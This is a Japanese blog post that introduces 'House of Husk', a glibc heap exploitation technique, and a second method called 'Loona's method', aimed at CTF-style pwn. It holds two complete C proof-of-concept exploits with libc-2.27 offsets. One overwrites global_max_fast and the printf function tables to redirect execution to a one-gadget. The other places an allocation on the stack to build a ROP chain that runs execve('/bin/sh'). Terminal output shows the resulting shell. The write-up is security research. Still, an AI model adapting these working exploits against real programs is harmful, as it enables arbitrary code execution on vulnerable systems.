ヒープ大嫌いなのですが、多分まだ誰も公開していないヒープ系exploit手法を思いついたので書きます。 調べても出てこなかったので既出じゃないと信じて「House of Husk」と名前を付けました。 これ系に命名規則があるのか不明だし名前も思いつかないのでさっき見ていたアニメのキャラクターから取りました。
巨大なチャンクがmallocできてUAFがあるとき、従来よりも単純でmallocやfreeの回数を抑えてシェルを取れる手法です。
PoC:
English version:
原理
攻撃手法について説明する前に、原理を説明します。
register_printf_function
libcにはregister_printf_function
という関数が存在します。
これは名前の通り、printf
で使える書式文字列を登録する関数です。
この関数は__register_printf_specifier
を呼び、__register_printf_specifier
は初回呼び出し時に次のようにして__printf_function_table
を確保します。
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); }
一方、printf
やsprintf
等の書式文字列を扱う関数は次のように__printf_function_table
が登録されていることを確認します。
if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
登録されていない場合は、デフォルトの書式文字列のみが使える高速な処理が実装されたパスに行きます。
登録されている場合はprintf_positional
関数が呼ばれます。
この関数では、__printf_function_table
等に対応する書式文字列が含まれている場合、登録された関数を呼び出します。
ただし、引数の種別を調べるために先に__printf_arginfo_table
に登録された関数が呼び出されます。
相対的な書き換え
これはHouse of Corrosionでも説明しました。
unsorted bin attackを使ってglobal_max_fast
を書き換えることで、巨大なチャンクが(仮想的に)fastbinに入ります。
House of HuskはHouse of Corrosionの原理1のみを使います。
Husk's method
利用条件
fastbinが実装されていてunsorted bin attackが可能なバージョンならOKです。
- unsorted binに入ったチャンクにUAFがある
- 通常の(大きくて良い)mallocに加え、比較的大きなサイズで2回mallocできる(libc-2.27の場合0x9420と0x1850が1回ずつ必要)
- ただし、heapのアドレスが分かる場合(多くの場合そう)はunsorted binサイズのmallocのみで攻撃可能
- 書式文字列を使うprintfが呼び出せる(
%?
の形であれば存在しない書式文字列でも良い)
mallocやfree、UAFの回数などは場合によって条件は様々なのでPoCを見てください。
こんなときに便利
大きいサイズのmallocしかできない場合に役に立つと思います。
従来はglobal_max_fast
を書き換えてmain_arena
をいじるなど割と面倒だった上、__malloc_hook
の周辺でサイズチェックを通る適当なサイズのチャンクが必要だったのですが、House of Huskではサイズチェックを心配する必要がありません。
また、少ないステップでRIPを取れる上、手法が単純で理解しやすいのも利点だと思います。
Exploit
次の手順を踏むだけです。
- libc leakする
- unsorted bin attackで
global_max_fast
を大きくする - 「相対的な書き換え」を使って
__printf_function_table
を非NULLにする - 「相対的な書き換え」を使って
__printf_arginfo_table
を偽のarginfo tableにする - 書式文字列を使うprintfを呼び出す
偽のarginfo tableには予め対応する書式文字列の場所に関数アドレスを用意しておきます。
すると、printfがprintf_positional
を呼び出すことで__printf_arginfo_table
が使われ、RIPを操作できます。
PoC
こんな感じ。
#include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c int main (void) { unsigned long libc_base; char *a[10]; setbuf(stdout, NULL); a[0] = malloc(0x500); a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3] = malloc(0x500); free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET; *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); free(a[1]); free(a[2]); printf("%X", 0); return 0; }
シェルが立ち上がります。
ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out libc @ 0x7ffff79e4000 $ whoami ptr
Loona's method
なんかもう一個思いついたけど記事を分ける程のものではなかったので。
利用条件
Husk's methodに比べprintfが不要になりますが、rwなUAFが複数回必要で、mallocやfreeの回数が増えます。
こんなときに便利
one gadgetが動かない場合、static linkのバイナリ、seccompが付いている、などで使えます。(要するにROPしたいとき。)
Exploit
次の手順を踏みます
- 必要に応じてlibc leak
- unsorted bin attackで
global_max_fast
を書き換える environ
に対応するサイズのチャンクをfree- UAFでfdの下位1,2バイト程度を書き換え、偽のチャンクヘッダに向ける
- stackに残るデータなどを利用し、偽のチャンクヘッダをスタック上に用意
environ
に対応するサイズで2回malloc- 2回目のmallocがスタック上に確保されるので、必要ならcanary等を読み、Stack OverflowでROPする
なお、ROPが発動する際はenvironが壊れているので注意してください。
PoC
#include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define ENVIRON 0x3ee098 #define LIBC_BINSH 0x1b3e9a #define LIBC_POP_RDI 0x2155f #define LIBC_POP_RSI 0x23e6a #define LIBC_POP_RDX 0x1b96 #define LIBC_EXECVE 0xe4e30 unsigned long libc_base, addr_env, ofs_fake; char *a[10]; int i; int main (int argc, char **argv, char **envp) { unsigned long fake_size; setbuf(stdin, NULL); setbuf(stdout, NULL); ofs_fake = (void*)envp - (void*)&fake_size; a[0] = malloc(0x500); a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[2] = malloc(0x500); free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); free(a[1]); addr_env = *(unsigned long*)a[1]; printf("environ = 0x%lx\n", addr_env); *(unsigned long*)a[1] = addr_env - ofs_fake - 8; fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1; a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA)); for(i = 0; i < 0x20; i++) { *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; } *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++; getchar(); return 0; }
考察
いろいろ試した結果を記載します。
UAFがwrite onlyの場合
また今度考える。
one gadgetが使えない場合
使えない場合は観測していませんが、Husk's methodではsystem関数を使うことはできなさそうです。
__printf_arginfo_table
を利用してRIPを取る場合は第一引数はlibc上で初期化されるローカル変数のアドレスになっています。
したがって、第一引数に任意の文字列を設定することはできません。
他の関数テーブルは?
libc-2.23などなら__printf_function_table
の代わりに_IO_2_1_stdout_
などのvtableを同じ原理で書き換えても動くと思います。
ただ、最近のlibcにはvtable改竄検知が付いている場合があり、
サイズ的には _IO_2_1_stderr_.vtable
≒ _IO_2_1_stdout_.vtable
≒ __printf_arginfo_table
< __printf_function_table
という感じです。
_IO_2_1_stdin_
はmain_arena
の前に存在するので使えません。
CTFとかやってて使う場面があったら追記します。
これ思いついた後に「__printf_function_table pwn」で調べたら引っかかったので冷や汗をかきましたが、ほぼ関係なかったので安心しました。 malloc嫌い。
※[追記] 一部では既出だったようです :sob: